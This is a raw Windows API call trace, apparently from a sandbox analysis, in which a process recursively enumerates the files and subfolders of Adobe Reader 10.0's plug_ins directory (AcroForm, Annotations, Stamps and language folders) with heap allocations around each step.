[0225.179] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0225.180] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0225.276] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.276] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ec63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.api", cAlternateFileName="ACCESS~1.API")) returned 1 [0225.276] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroForm", cAlternateFileName="")) returned 1 [0225.277] GetProcessHeap () returned 0x550000 [0225.277] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0225.277] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0225.283] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.283] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb36f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobepdf.xdc", cAlternateFileName="")) returned 1 [0225.283] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 1 [0225.283] GetProcessHeap () returned 0x550000 [0225.283] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0225.283] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0225.296] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.296] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1aa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobePDF417.pmp", cAlternateFileName="ADOBEP~1.PMP")) returned 1 [0225.296] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataMatrix.pmp", cAlternateFileName="DATAMA~1.PMP")) returned 1 [0225.296] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e77b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="QRCode.pmp", cAlternateFileName="")) returned 1 [0225.296] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e77b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="QRCode.pmp", cAlternateFileName="")) returned 0 [0225.296] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0225.297] GetProcessHeap () returned 0x550000 [0225.297] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0225.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 0 [0225.297] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0225.297] GetProcessHeap () returned 0x550000 [0225.297] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0225.297] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8308ce80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae8a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroForm.api", cAlternateFileName="")) returned 1 [0225.297] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e2b880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x217e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroSign.prc", cAlternateFileName="")) returned 1 [0225.298] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annotations", cAlternateFileName="ANNOTA~1")) returned 1 [0225.298] GetProcessHeap () returned 0x550000 [0225.298] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0225.298] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0225.828] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.828] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 1 [0225.828] GetProcessHeap () returned 0x550000 [0225.828] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0225.828] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0226.313] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.314] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1 [0226.314] GetProcessHeap () returned 0x550000 [0226.314] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0226.314] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0226.347] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.347] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0226.348] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x892d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0226.348] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc084, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0226.348] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0226.348] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2eb9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0226.348] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a88d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0226.348] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a88d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0226.348] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0226.355] GetProcessHeap () returned 0x550000 [0226.355] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0226.355] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHS", cAlternateFileName="")) returned 1 [0226.355] GetProcessHeap () returned 0x550000 [0226.355] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0226.355] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0226.416] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.416] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13e0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0226.416] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xaf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hanko.pdf", cAlternateFileName="")) returned 1 [0226.416] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc0af, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0226.416] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x217ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0226.417] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x217ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0226.417] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0226.417] GetProcessHeap () returned 0x550000 [0226.417] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0226.417] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHT", cAlternateFileName="")) returned 1 [0226.417] GetProcessHeap () returned 0x550000 [0226.417] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0226.417] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, 